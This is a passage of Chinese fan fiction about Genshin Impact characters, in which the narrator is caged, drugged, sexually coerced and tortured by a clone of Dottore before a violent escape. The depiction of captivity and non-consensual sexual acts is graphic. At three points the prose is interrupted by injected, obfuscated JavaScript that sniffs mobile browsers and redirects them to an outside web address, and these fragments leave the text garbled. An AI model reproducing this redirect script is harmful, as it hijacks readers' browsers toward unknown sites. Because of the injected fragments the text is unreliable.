我勉强回答着,脑海里却不住地想起刚才那邋遢的中年男人。 在我还依旧替多托雷做事的那段时间,即使那已经是快一百年前的事情了,那初次听闻的震撼感依旧能够在脑中清晰地回想起。 早期邪眼实验在进行二轮人体实操实验的时候,为了测定邪眼在不同年龄,不同性别,和不同身体素质的实验体上的使用效果和使用界限,多托雷进行了大量的实验,而在这样陡然激增的实验背后,同样骤增的是在实验中接连死去的素体。 为了保证实验的继续,当时在至冬境内进行了大规模的实验素体征召,甚至还出现了“故意隐瞒实验风险只为多招几个人”这样的丑闻。 虽然当时多托雷也因为越来越多的民众投诉而被【丑角】警告过收敛一些,但是所有人都知道,邪眼实验进行到这一步根本无法再中止,后退只是对已经投入和消耗的巨大人力物力的无端浪费,更何况,至冬的未来,女皇的目标,都是推动实验继续的助力。 在这样日益紧张的实验体招募过程中,有一些心思不正的人会借由实验的理由,引诱那些生活艰苦的底层人民成为实验素体,而他们所给予的,不过是一点微薄的摩拉,或者食物。 即使得到的“报酬”轻微,依然会有贫穷到生活不下去的人选择与这些人进行交易,他们之中,甚至会有用自己的家人换取钱财的家伙。 那位中年男人,或许也是…… 我有些头疼地扶额。 少年切片的声音还在面前响起。 “你不用太担心,我不会把这件事告诉Beta切片的,这样可以了吧?啧,没想到你这么怕那个家伙,脸都吓白了……” 少年切片以为我是因为害怕被赞迪克发现放跑了要抓的人而脸色不佳。 我本来想要解释,但是视线触及到手腕上残存的指印又顿时歇了这样的打算,只是叹了口气。 “感谢您的帮助,大人。我现在得离开了,要是被Theta切片发现,我……” 背后冷不丁传来一道声音。 “要是被我发现什么?” 那声音实在是过于耳熟,耳熟到不久之前我才刚送走声音的主人出门。 少年切片脸色不虞,眼神略过我朝我后面看去。 “Theta切片?你现在不是应该在【丑角】那里商讨事情吗?怎么在这里?” “发现有一样东西忘记拿了,所以中途回去了一趟,结果发现某个家伙似乎不太乖,没有好好听话待在家里。” 那温柔的声音越来越接近。 我感受到那脚步声贴近我的后背,只隔一厘。 我身体僵硬,连转头的勇气都没有。 一件还带着体温的外套被披在我的身上。 “怎么穿得这么单薄?”那声音无比关切,就像是真的在疑惑我怎么穿成这样就跑出来了一样。 “我知道你还在为之前的事情生气,但是就算是赌气,你也不应该不顾及自己的身体。” 宽大的手掌覆上我的肩膀。 我抖了一下。 “看吧,我就说不能穿成这样乱跑,你都冻僵了……” 那手掌扶着我的肩膀将我转了个向,眼睛被戴着皮质手套的手完全遮住,Theta切片将我脸朝内完全压在怀抱里。 如同亲昵的拥抱。 亦或者是挟持。 少年切片看着眼前这个一直不太看得惯的成年切片,看着青年单薄的身躯被成年的切片三下两下裹挟住,连半丝的金发也不曾露出。 莫名不爽。 “你这家伙。”少年皱眉,“塔德纳明明不想和你在一起,你干嘛非得强迫他?” Theta切片表情惊讶:“嗯?你怎么知道塔德纳不想和我在一起?” “废话。他明明自己都跟我说了,是趁你不在偷偷……” Theta切片粗暴地打断少年切片的话。他似乎对少年说的内容都不感兴趣,只是微微低头,看着被自己遮住双眼完全塞进怀抱的青年,轻轻拍了拍。 男人的语气轻柔。 “Alpha切片说你不想和我一起,你要反驳一下他吗?” 我的口鼻都被压得紧实地贴近男人的胸口,只能艰难地谋取稀少的空气,视线被剥夺的情况下,我只能抓住Theta切片的手臂才能稍微感受到一点安全感。 见我没有出声的意思,Theta切片轻笑了一声,看向少年切片的眼神带上一点轻慢。 “看来,塔德纳并没有这样的意思,这只是你的一厢情愿,Alpha切片。” 少年咬牙:“你有病?我犯得着捏造这种东西?你自己对塔德纳做出那种事情,把人吓跑了还要接着抓回去……” Theta切片语气变冷:“这似乎和你没有任何关系,Alpha切片。如果我是你,就不会选择在这种时候激怒一个明显比自己强大的人。” “你!” “好了。我与你没有什么叙旧的打算,想来我们之间也没有这个必要。既然找到了人,那我就先离开了。你自便。” 留下这句话,忽视被气得脸红的少年切片,Theta切片将青年抱起来,利落地转身离开。 我窝在Theta切片的怀里,眼睛依然被牢牢遮住,只能听到不远处似乎传来一阵喧嚣,有几道声音匆忙劝阻什么的响动,但很快,便只剩下长靴踩在雪面上的吱呀声。 我不知道Theta切片要对我做什么,也不敢出声。 我的潜意识告诉我,Theta切片并不像他和少年切片对峙时表现出的那么轻松温柔。 贴近的胸膛处,那无论什么时候都以最健康的人类心脏的频率跳动着的能源装置,此刻依然完美地跳动着,分毫不差。 但我莫名感到心惊。 Theta切片说自己意外回了一趟住所然后发现我不在里面,如果此话属实,那么他肯定也发现了被我炸掉的卧房。 他会怎么处置我呢? 我忍不住胡思乱想。看不见东西后,思维反而更加活跃。 如果是多托雷的话,那个家伙定然会给予我这个“敢于蔑视他的权威”的家伙一点苦头,无论是身体上的,还是精神上的,总之,他喜欢看到我因为他给的痛苦而求饶哭泣的样子。 但是,如果是Theta切片…… 这个行为屡次超出我预想范围的Theta切片…… 我完全想象不出,如今能做的不过是忐忑地等待着自己的结局,或者说是…… “处罚”。 回到住所的路程并不算远,因为我其实没走多久便被那个中年男子绊住了脚步,随即又遇到了少年切片。 我听到踩在雪地上的脚步声突然改变,鞋跟接触的地面仿佛变得更加光滑且坚硬,便知道我又回到了这座住宅。 但Theta切片似乎没有放我下来的意思。 他依然走着,我感受到轻微的颠簸,似乎是在走楼梯产生的起伏,而且是向下的楼梯。 附近似乎变得空旷,我听到脚步声的回音。 Theta切片是要去哪里? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14904363|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我思考着,努力检索着记忆里存在的“通往向下空间”的楼梯,却没有一丝一毫的印象。 不…… 这座房子,我搜索过好多遍,明明一直只有两层才对! 我忍不住紧张,胸膛内的心脏“砰砰砰”地加速跳起来。 Theta切片似乎也听到了,他轻笑起来,低沉的声音在不知名的空间里回响。 “你似乎很害怕?”他说。 我蜷缩了一下。 男人的声音依然温柔。 “不用害怕,我并不会做出伤害你的事情。只是这一点,我可以向你保证,以我的‘存在’为注。” “……” “我虽然一直在告诫自己,要对你保持温柔,尽量有求必应,但你,似乎对我一直抱有很深的偏见,甚至,想要逃离我。” 脚步声停止了。 我听到锁链碰撞的声音。 眼睛终于被放开,长久处于黑暗之中的双眼乍然接触到灯光,即使是不太明亮的,昏黄的灯光,也被刺痛了一下。 我看向四周。 这里和卧房的布置很像,但没有窗户,似乎是处于地下,本来应该摆放着床的位置放置着一座半人高的金色圆顶鸟笼,并不是很大,勉强能让一个成年男人盘腿坐下的大小,垫着厚厚的绒毯。 Theta切片压着我的后颈将我压在地上,一只手将我的衣服迅速剥去。 我挣扎起来,但没什么用,双腿被粗暴地用膝盖压制制服。 我忍不住呼痛。 “呜……疼……” Theta切片的声音带着点歉意。 “抱歉,我会尽量快点,如果你可以不反抗的话。” 怎么可能不反抗…… 我疼得直冒眼泪。 身上的衣服很快被完全脱去,连贴身的衣物也没被留下,我被强压着塞进笼子里,四肢都被套上铁链。 “你……主人……”我声音颤抖,几乎不敢相信,“您要干什么?” Theta切片将最后一只铁链锁好。他伸手抚摸着我的侧脸,语气柔和。 他说:“这样,你或许就不会再逃跑了吧。” 我感到毛骨悚然。 这个家伙…… 这个家伙是想要囚禁我! 这个疯子! “我很抱歉对你做出这样的事情,这并不在我原定的计划之内。” 不在计划之内准备得这么全套?! “我也很想和你正常相处,就像正常的人类伴侣一样,你不用思考任何事情,只需要将自己交给我。” 侧脸上的手掌摩梭着,从耳根到唇瓣。 “但是,你的表现让我很失望。或许‘本体’的记忆不错,对你,需要一点更严酷的手段。” 口腔被强迫打开,那手指毫不犹豫地闯入进去,直直戳进最柔软,最深处的地方。 我伸手去拽他的手,铁链被带得哗哗作响,但几乎没有任何作用,光裸的后背被压在冰冷的笼子上,磨得肉疼。 “呜呜……” 口腔深处被塞进一颗带着苦味的东西。 Theta切片抽出手。 皮质的黑色手套湿漉漉的。 “你……你喂了什么东西……”我痛苦地干呕着。 Theta切片紧紧地盯着我,说出来的话却莫名其妙。 他说:“你不应该忘记的。” 什么? 什么不该忘记? 剧烈的疼痛从腹部传来,随即蔓延全身,如同被无数的尖刀刺穿身体一般,我尖叫一声倒在笼底。 “这……这是……” 这样的痛楚实在熟悉。 “一些‘本体’喜欢用的东西。抱歉,我本来不想这么对待你的。” 都这个时候了,还说这样的话…… 我疼得大脑一片混沌,躬缩着身体,恨不得揪着这个冠冕堂皇的家伙给他一拳。 但我做不到,如今的我甚至连坐直了都做不到,只能愤愤地锤了一拳这狭仄的破笼子。 手指似乎被刮破了,但这样的疼痛相比于身体里面的痛,根本算不上什么。 笼子似乎很快被关上,我听到了落锁的声音,以及Theta切片自上而下传来的声音。 他说:“不用伤害自己,你的体质可以完美修复,所以你比我更清楚,这样的行为没有任何意义。” “……” 疼死了。 “稍微在这里冷静一下吧,我之后会来看你的。” 随着这样的话语落下,脚步声和锁门的声音接连响起,又很快消寂。 我蜷缩在笼子里,咬着牙以免发出任何疼痛的呻吟。 43.第 43 章 Theta切片说“之后会来看我”,但其实自我被带到这里后,他便再也没有出现过。 封闭的地下室无法看到太阳,更没有时钟之类显示时间的东西,我只能靠直觉来勉强推断外面的时间。 自那之后,大概过了四五天的时间。 药物的持续时间大概是12个小时,在长达12个小时的疼痛折磨后,我陷入了大概10个小时的昏迷,再往后,便无从判断具体的时间流逝。 身体折叠在不大的笼子里,皮肉不可避免地勒在金属的笼子上,靠得稍微久一点便会感觉到后背火辣辣的疼。但若是想要稍微变换一点姿势,又只能感受到束手束脚,哪哪都不自在。 唯一值得庆幸的是,底下的白色绒毯足够厚实,能够支撑我将其扯出来一点覆在笼子上或者挡住自己的关键部位。 恍惚之中,我感觉自己像是回到了刚来至冬是被关进小黑屋的那段时间,只是这个鸟笼虽然不至于让我连光源都没有,却比起小黑屋更加逼仄,没穿衣服的感觉也让我更加难以忍受。 我试图用铁链穿过笼子之间的间隙来破出一个缺口,但不知道这笼子到底是用什么做的,无论用多大的力气都没办法让它变形分毫。 后来一不小心被刮破了手掌,便也不再做这样的尝试了。 偶尔我的脑子里也会闪现出一些类似于“至少Theta切片没有给我断胳膊断腿再关进来”这样的想法。 只是很快被摒弃,且在心中嘲讽了一番自己。 再一次见到Theta切片的时候,我正把头靠在杆上小憩,隐隐约约的脚步声响起,我还以为是自己出现幻听了。 我下意识地睁开眼,想要看清楚什么,然而头顶本就不算太亮的灯光突兀地熄灭。 我陷入完全的黑暗之中,只看见一簇昏暗的烛光出现在这片空间。 是Theta切片。 他把灯关上了。 Theta切片端着一方烛台。微弱跳动的烛光将那道高大的身影打在墙面上,显得扭曲。 他似乎和上一次见面时分毫不差,身上带着点风雪的气息。 刚从外面回来吗…… Theta切片将烛台轻轻地放在地上,然后半蹲着打开笼子的门。 钥匙触碰金属的声音在昏暗的环境中格外明显。 我忍不住咽了下口水。 “主人……”我轻声叫着,带着一丝讨好的意味。 开锁的手顿了一下。 但很快继续,门被那只被手套禁止包裹的手拉开。 我一时间不敢动作,不知道该不该动,更不知道该不该伸手。 长时间的囚禁让我的大脑有些思考不过来。 如同生锈的机械机关。 一只手被伸进来,放在我的面前。 “出来吧。”他说。 我握住那只手,顺着那力道从笼子里面爬出来。 久违的不用畏手畏脚的感觉让我甚至有些不习惯。 Theta切片看着我。 我能感受到他的眼神从上到下,一丝一毫都没有放过,甚至是被我用手臂遮掩住的部位。 他伸手,将那只遮掩的手臂拽走。 我身体一僵,却不敢反抗。 只是这样被迫完全展露的样子实在让我有些别扭。我几乎不敢去看Theta切片,眼神落点在被放在地上的烛台上。 好在Theta切片没有在意这种小事。他将我的两手束缚在一起扭到身后,另一只手便扶着我的后背将我拥入怀里。 皮肤骤然接触到那衣服上零零当当的,带着冷意的饰品,颤抖了一下。 我听到Theta切片的声音响起。 “抱歉,塔德纳,我被一些事情绊住了手脚,所以来得晚了很久。” Theta切片似乎最开始并没有冷落我这么久的打算?只是如他所言被“绊住了手脚”? 不……多托雷不在,Theta切片便是至冬现在最能行驶【博士】权限的人,有什么东西能绊住他? 我的大脑思考着,更倾向于这是Theta切片随口所说的安抚性的话语。 如此想着,我决定暂时臣服讨好Theta切片。 毕竟…… 他看起来似乎情绪一般。 我将自己贴得与那具冰冷的身躯离得更近,如同向一只恶龙献祭自身一样,脆弱的脖颈舒展在恶龙的唇齿之下。 “主人……我知道错了,我不该想要逃跑。” 我揣度着Theta切片的想法,将自己的语气压得柔弱可怜。 “主人,求求您,我不想再呆在这里了。我会乖乖听话的,求您不要再把我管在这里面了……呜……” 声音被突然压在喉咙上的力道阻断。我感觉到湿热的唇舌吮上脆弱的凸起,将那点震颤都吞入进去。 “主……主人……” “安静一点。” Theta切片的亲吻游走着,顺着脖颈往下。 双手被并在一起,我感受到锁链哗啦啦在小臂上缠绕了好几圈,随即,一条黑色的丝布覆盖在双眼上。 “主人?!” 这样的发展有些超出我的预想。 Theta切片没有回答。 眼前的视野很快就被完全遮盖,我感受到丝布在脑后被紧紧地打了一个结。 彻底失去视觉让我感到强烈的不安。我想要说什么,但下颌被突然捏住。 这个家伙到底想干什么! 我感到惊惶。 “‘本体’说过,你总是格外狡猾,擅长用自己来诱惑降低别人的防线。” 多托雷那个家伙整天都在跟你说什么啊?! “既然如此,”腰肉被掐住,“若是将你的双眼遮住,再夺舍你那灵活的口舌,或许,便不会再被你所故意展露给我的柔弱欺骗。” “呜……呜!” 那湿热的唇齿咬在了敏感的腰间。 身体无法遏制地颤抖着,我惊恐地发现自己的身体,好像也在这样不停的刺激下产生了一点变化,最明显的,便是…… “哦?”Theta切片的声音有些惊讶,“原来,你喜欢我这样对你吗?” 我无法回话,连嗯两声作为回应都不想。 身体那羞耻的反应让我恨不得当场找个缝钻进去。 “对不起,我忘了你现在说不了话。”Theta切片轻笑着,在抚摸之中变得温热的手掌伸长包裹住那处。 大脑像是突然断片了一样,突兀的白色笼罩所有思绪。等到我再次恢复意识的时候,整个人狼狈地躺在地上,眼前的黑布已经被完全浸湿了。 “你的反应真可爱。”Theta切片搂着我的身躯将我抱进怀里。 “抱歉,一不小心用了稍微粗暴的动作。” 我无力地将额头靠在那应该是胸膛的位置。 这个家伙……完全是故意的。 我不再试图去揣测这个疯子的想法,只希望这场“处罚”能够尽早结束。 “你或许在想,‘什么时候能够结束’?呵呵,真是有趣的想法,如‘本体’所言,你对‘我们’缺少基本的敬畏之心,无论给予如何残酷的惩罚,你也依然不会改变自己的行事,比如那些违背,再比如……” 手腕的锁链被收紧。 “你从未停歇过逃走的想法,即使是被囚困在这狭窄的笼中。想用锁链来绞断笼子吗?只可惜,早在制造这顶笼子的时候我便考虑到了这个可能。如今看来,恰逢其时。” 我:“……” “Alpha年纪尚小,他的记忆里严格来讲并没有你,只不过是因为那点并不属于他的亲昵而对你产生了兴趣;Beta切片被愤怒冲昏了头脑,其他切片,连回到至冬的时间都微乎其微,至于‘本体’……”Theta切片的声音宛如叹息。 “你真的认为,在‘本体’的心里,你的存在,还占有一定重量吗,塔德纳?” 我将身体的重量放置在面前的身躯。 “塔德纳……塔德纳……” 我听见一遍又一遍的呼唤,亲昵而扭曲。明明被快感俘获的是我的身体,可是在这一刻,我恍然生出一种是Theta切片沉浸在这强加的感觉之中的错觉。 “留在我的身边,塔德纳……永远不要离开,也永远不要违背。” 我听到烛台被端离地面的声音。失去视觉的时候,其他的感官反而变得格外敏感。 我疑惑Theta切片拿烛台是为了干什么,下一刻,剧烈的疼痛传来,我疼得咬着模糊地叫了起来,蜡油顺着滑落,然后渐渐凝固。 身体剧烈地打着颤。 我猛烈地扭动着自己的身体,刚刚离开那怀抱一点便被Theta切片强按着头再塞回去。 安抚性的轻拍落在后背上,但我现在什么都顾不上了,脑海中只有一个想法: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14914072|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >逃! 快逃! Theta切片亲吻着怀中挣扎哭泣的青年,每一次落下,怀中青年的哭泣便会更加凄惨。 他放下烛台,将青年脸颊上的泪水卷走,然后将哭得可怜的青年重新塞进笼子里。 青年如同奄奄一息的鸟儿,蜷缩着身子靠在笼子里,双条腿在狭小的空间里发颤。 Theta切片伸手,想要调整一下青年的姿势,却被应激的青年躲开,手被用力地拍走。 Theta切片愣了一下,他将上半身探进笼子里,一只手按着笼内的青年不让他动,另一只手捉住青年的脚踝将青年的体位调整地更加舒适。 做完这一切,他才松开青年,施施然关上笼门。 “我明天会来看你的,好好休息。” Theta切片如此说,然后端起烛台离开了。 我被再一次遗留在笼子里,双手依然被锁链绑着无法挣脱,眼睛无法视物,嘴里塞着东西,就连那敏感的地方,也没有做任何的处理。 Theta切片或许和其他切片不同,他不会对我展露出一丝一毫的愤怒,但在那看似温柔的外表下,那层“不容抗拒”的傲慢依然存在,为此,他也并不会拒绝用疼痛和恐惧让我长个教训。 我有些颓然地倚靠在笼中。 想要从这里逃出去简直就是天方夜谭。我不清楚Theta切片的“处罚”究竟还会持续多久,也不知道这样被囚禁的生活什么时候才能结束。 亦或者是永远都不会结束。 我很明白,Theta切片干得出来这样的事。 但我同样更明白,或许Theta切片对他们的“本体”,也就是多托雷存在一些不准确的见识,但是,有一点他说的没错: 我在多托雷心中的份量,或许没有重到他会专门把我从切片身边带走的情况。 Theta切片的状态明显和其他切片不同,我怀疑这可能是多托雷故意而为之的结果,而且很明显,这样的状态改动与我有关。 多托雷的目的是什么?他想要看到的,我和Theta切片的纠缠,究竟是怎么样的? 我无从得知,更无从想象。 我只能确定一件事:若我不能从Theta切片身边逃离,那我可能真的要做好一辈子都被锁在这鸟笼里的准备了。 如Theta切片所言,第三次的见面来的很快,他依然会将我搂在怀里,主动地抚慰我的身体。我不再刻意地逃离和躲避,也没有将自己主动地送入他的掌控,只是乖巧地顺从着他的动作,如同没有生命的玩偶。 Theta切片似乎对此很满意。 他没有再对我施加痛苦,甚至替我清理了身体。 第四次见面,同样间隔一天,Theta切片跟我讲起了实验室遇到的一些事情。 他说Beta切片总是那么脾气不好,实验体暴乱的事情越闹越大,最后Beta切片被【丑角】强制停职休息了,这件事也落到Theta切片头上去处理了。 讲完这些,他说自己还有事要先离开了,走的时候将我嘴里的东西取了下来。 被撑开过久的口腔一时间难以合上,Theta切片便温柔地含住我的嘴唇,舌面挠刮着柔软的上颚。 第五次见面,Theta切片说:“‘本体’结束了在枫丹的研究,马上就要回至冬了。” 他说“本体”或许会要走我的管理权,我被抱在那紧的发疼的怀抱里,沉默地仰头接受他的亲吻。 这一次,似乎比以前多了一些粗暴。 Theta切片解开了我手上的束缚,但是警告我“不许摘下眼睛上的丝布”。 我点头。 第六次见面,Theta切片疲倦地将我从笼子里抱出来,他的声音很喑哑,身上也带着浓烈的血腥味。 他说,深渊出了一些事故,这一次的魔物暴乱十分严重,如果不是【队长】在至冬,会造成什么后果根本难以想象。 我问他:“你受伤了吗?” Theta切片轻笑:“不用担心,只是不小心被伤到了肩膀,等我再抱一会儿你,再抱一会儿我就去维护机体。” 我说:“我想看一眼,我很担心你的伤势。” Theta切片似乎有些犹豫。 于是我又说:“那让我摸摸你吧,我不会逃跑的,你可以继续蒙着我的眼睛,抓住我的手。” Theta切片同意了。 44.第 44 章 Theta切片或许会后悔对我的心软。 但我清楚,我恐怕没有多余的时间拿来同情Theta切片错信的经历了。 在双手被牵引着带到男人的肩膀上时,我摸到了一片湿润。 那是鲜血,我很快反应过来。 多托雷在这方面总是力求让切片和普通人拥有一样的处境,比如,都会受伤。 Theta切片的动作很温柔,束缚我双手的力量几乎称得上“微弱”。 这给了我可乘之机。 我挣开Theta切片的手,腕上的锁链在我的带动下缠绕上男人的脖子,并且狠狠收紧,手指掐进湿热的伤口里,我感受到Theta切片的呼吸猛然加重,紧接着,巨大的向外掀开的力量落在我的身上。 Theta切片没有去管脖子上缠绕得越来越深的锁链,反而是握着我的双臂用力一折。 手臂的骨头被折断的声音清晰可闻,我疼得全身力道一松。这给了Theta切片翻盘的机会,几乎只是瞬息,局势便猛然翻转,我被压制在地面上,以不正常的形状扭曲的手臂被并拢按在头顶的地面。 “呜呜……疼……” 我控制不住地痛苦嘶鸣。 “我说过,我并不想伤害你。”Theta切片的声音依然平稳,他似乎完全没有被身上加重的伤势和刚才的反抗所影响。 但我明明能够闻到越发浓烈的血腥味,刚才扭打之间Theta切片变换的呼吸也说明了他并非感受不到疼痛。 “你似乎还没有放弃要逃跑的想法,我明明已经惩罚过你了,但好像,这样轻柔的惩罚,还不足以……” “主人……”我提声打断Theta切片的话,声音因为疼痛不可避免地带上一丝颤抖。 Theta切片真的停下来了。 “嗯?”他低头,视线落在我的身上。 “求求您……求求您……”我恳求着,身体剧烈地颤抖,“我的手好疼,求求您看一眼吧,呜呜……” Theta切片沉默着,既没有说话,也没有下一步动作。 我知道,他还在犹豫是否要相信我,但是现在的我确实是无比凄惨,双臂都被毫不留情地折断,双眼因为眼前的黑布束缚,什么都看不到,因为疼痛而颤抖的赤裸的身躯在手下无助地蜷缩,既害怕眼前的人会给予更强烈的痛苦,又因为不安的恐惧下意识靠近着唯一的热源。 如何从Theta切片身边逃走? 这个问题,我思考了六天,几乎所有的想法都会很快我找到漏洞,然后否决掉。 Theta切片拥有着几乎不可能被战胜的强大实力,同时,足够精明缜密的他,专门为我打造了囚禁的这座地下室,连半分能够逃离的缝隙不也曾留给我。 那么,留给我的唯一的方法,便只剩下一个。 也是最简单粗暴,看似最不可能完成的一个。 在Theta切片低头俯身查看我的双臂伤势的时候,我抬腿向着上面的方向用足了力气攻去。但这样的攻势在本就警惕着我的Theta切片看来不过是不识时务的临终挣扎,他随意伸手便挡住了那条腿,手掌握住小腿腹,稍稍用力便折断了腿骨。 好机会! 我不顾身体上的疼痛,狠狠用力撞上那离我不算远的额头。 因为位置估算有点失误,鼻梁被那尖喙的面具直直削进。但好在Theta切片似乎也没想到我能这么拼命,被撞得身体向后倾斜的一瞬,我用另一只尚且完好的腿蹬在Theta切片的胸口一踹,被修复好的双臂虽然依旧疼痛但好在能够使用,我牵引着锁链,几乎用上了所有能用上的力气。 锁链哗啦作响,带动着沉重的鸟笼,被我推砸向Theta切片的位置,在一阵金属轰鸣的声音中,我听到□□被砸到的声音,以及,笼子被什么尖锐的东西尽数劈开的声音。 在脖子被冰冷的机械手臂掐住的一瞬间,我眼前的丝布被削去。 我睁开眼,在昏暗的光中看到遍地残骸的房间,以及狼狈的Theta切片。 这是我第一次看见Theta切片如此狼狈的样子,但即使是被如此激烈地反抗算计,身上满是鲜血,连面具也被撞碎,那只红色的机械独眼紧盯着我,我却感受不到一丝一毫的愤怒。 身体被从身体延伸出来的机械臂抓取着抬高离开地面,我感受到强烈的窒息感。 呼吸被完全遏制,我抓着嵌入颈肉的机械臂,双腿扑腾挣扎。 但没有什么用,Theta切片只是抬头看着我挣扎的惨状,施加的力道丝毫不减。 “你有点太不乖了,塔德纳。”他说,语调依然保持着轻柔。 他总是如此,即使是在明明该生气的时刻。 Theta切片:“我必须要承认你或许对我造成了一些有效的伤害,但是,胡闹也该就此停止了。” “好好睡一觉吧。下一次见面,我会保证你会完全忘记我们的这次不愉快。” “塔德纳,你会永远留在我的身边。” 长时间的窒息让我的意识开始陷入混沌,我开始放弃抵抗,只是闭着眼,身体软弱地垂在半空。 不知过了多久,意识就要彻底黑暗的时候,我模模糊糊地感觉到自己的身体被放了下来。 似乎有谁轻柔地抚上我的喉咙,摩挲着被机械臂掐出的可怖印痕。 在半清醒半模糊的边界,我不知道从哪里汲取出来最后的气力,紧紧攥住面前的衣领,带着男人的身体一起往笼子被削断的,尖锐的金属尖刺上撞去。 被削得极锋利的尖刺十分顺利地贯穿了身体,在这样坚硬的材质下,身体如同豆腐一样被划开。 “塔德纳!” 意识的最后,我看到Theta切片似乎也慌了神,空中的机械臂朝我的方向袭来,应该是要阻止我的动作。那红色的机械独眼不安地转动闪烁着。 在身体被贯通的一瞬间,我听到火花迸射的声音。 …… 这是一场同归于尽般的逃离。 如今再想想,我不知道自己当时是从哪里得到的勇气做出这样的决定,也不知道Theta切片为什么明明在最后一刻可以断掉自己的一臂来至少保全自己,但他却没这么做。 他或许是想要再救一救我。 脑海中浮现出这样的推测,又很快被我自己推翻。 不,没有必要。 如果是多托雷的话,绝对不会…… 我光着脚走在雪地上,身上是一件从Theta切片的住所找到的衣服。 但那很显然是Theta切片自己的衣服,套在我的身上有些过于宽松,但好歹可以勉强蔽体。 我从尖刺上把自己拔出来的时候,连看都不敢看身边似乎是陷入了永久休眠的机体。 身体虽然在快速修复着,但疼痛无法被抹消。 我咬着牙在Theta切片的身上摸索出来一串钥匙,把手上和脚上的铁链打开。 要逃! 赶快逃! 大脑如此嘶吼着。 几乎是靠着潜意识我才没有让自己就这么光着跑出去。 虽然Theta切片的鞋子对我而言根本没法穿,我最后为了效率还是选择了不穿鞋直接跑。 脚陷入身后的雪里,不过是很短的一截路,我便感觉自己的身体要被冻僵了,现在还能坚持走路,完全是靠着意志支撑。 在那座从整个至冬都能看到的建筑渐渐在眼前变大的时候,我感到一种难以言喻的“轻松”和“喜悦”。 快到了…… 就快到了…… 据Theta切片所说,【队长】目前还在至冬,他白天的时候会留在这座宫殿。 只要……只要能找到那位大人…… 或许…… 我精疲力竭地扶着宫殿的门柱。 无数进进出出的人看向我的方向。 不远处传来了熟悉的声音。 “深渊的危机虽然暂时解除,但是,我们依然不可以放松警惕,惨烈的牺牲就在我们眼前,针对深渊随时可能再次爆发的乱动,我们必须在灾难来临之前,做好准备。” 是【队长】! 我抬头朝前面的方向看过去,那熟悉的,被面具完全覆盖面部的身影出现在我的视野里。 他穿着执行官的服饰,似乎是在和身边的人交谈。 “女皇陛下对我们的期许,至冬的人民对我们的期许。我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916708|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你也有目共睹。你有着无法被否认的才能,我相信女皇陛下也是如此认为,才会将改变格局的关键放在你的身上。既然如此,就不要辜负女皇陛下的希望。” “当然,当然,我自然会竭尽全力。” “你在枫丹的研究之旅进行的如何?” “呵呵,那里的能量体系,有着一些有趣的存在,虽然暂时还无法确定能否用到更深层次的研究上,但也稍微为我提供了一点思路。如果能从枫丹招来一些实验的素体,或许……” 交谈的声音中断,在那两道身影绕过门柱完全出现在我的身前的时候,我终于看到了与【队长】交谈的剩下的那人。 熟悉的发色,熟悉的尖喙面具。 如果不是那执行官样式的斗篷和说话时语气轻微的不同,我差点以为是地下室的Theta切片突然活了过来出现在我面前。 但不是。 面前的人是多托雷,不是任何切片。 这一点,我可以确定。 多托雷也看见了我。 见到如此狼狈的我,这位执行官的脸上露出恰到好处的惊讶。 多托雷看向我:“瞧瞧,这是谁?我最亲近,最得力的副官,塔德纳。还没有恭喜你改造成功,提前出狱。我记得你现在应该是在Theta那里,和他相处得怎样?” 我扯了扯嘴角:“还行。至少那家伙技术比你好。” 真是奇怪,如今见到了多托雷,这个所有切片的“本体”,我的内心却没有一丝一毫的惧怕。 【队长】:“……” 多托雷似乎愣了一下。 他笑起来,连身体都在颤抖。 “好吧好吧,这种事情,自然是你比较有发言权。我会如实告诉Theta你对他的夸赞的。” 我说:“恐怕有点来不及了。Theta切片被我不小心销毁了。” 多托雷的笑声突兀地截止。 面具后的视线凝聚在我的身上,似乎是在观察,又似乎是在掂量。 “这倒是……有些出乎我的意料。据我所知,Theta切片对你的态度,称得上‘温柔’,不是吗?我以为你会很喜欢与他相处才对。看来预估稍微有差。” “你管那种性格叫‘温柔’?” 我想起在Theta切片那里的所有遭遇,头又开始一蹦一蹦地发疼,连最基本的礼貌都疲于保持。 反抗Theta切片的后遗症让我现在对和他外貌气场都极为一致的多托雷升不起丝毫的敬畏之心。 多托雷倒是没有丝毫被冒犯的不爽。至少从表面上来看是这样的。 他看向周围看热闹的人。那些人触及到多托雷的视线很快慌不择路地逃离。 多托雷:“看来我们之间需要一点时间来单独交流。” 他对着【队长】说:“深渊的合作事宜我之后会来找你详谈的,现在,我可能需要一点私人时间。” 一直保持沉默的【队长】只是轻轻颔首。 “我对此没有意见。但是,多托雷,希望你能记得刚才会议上的警告。” “我的人品已经差到这种地步了吗。”多托雷轻笑,“当然当然,我会妥善处置这件事的。毕竟,塔德纳可是我唯一的副官。” “最好如此。” 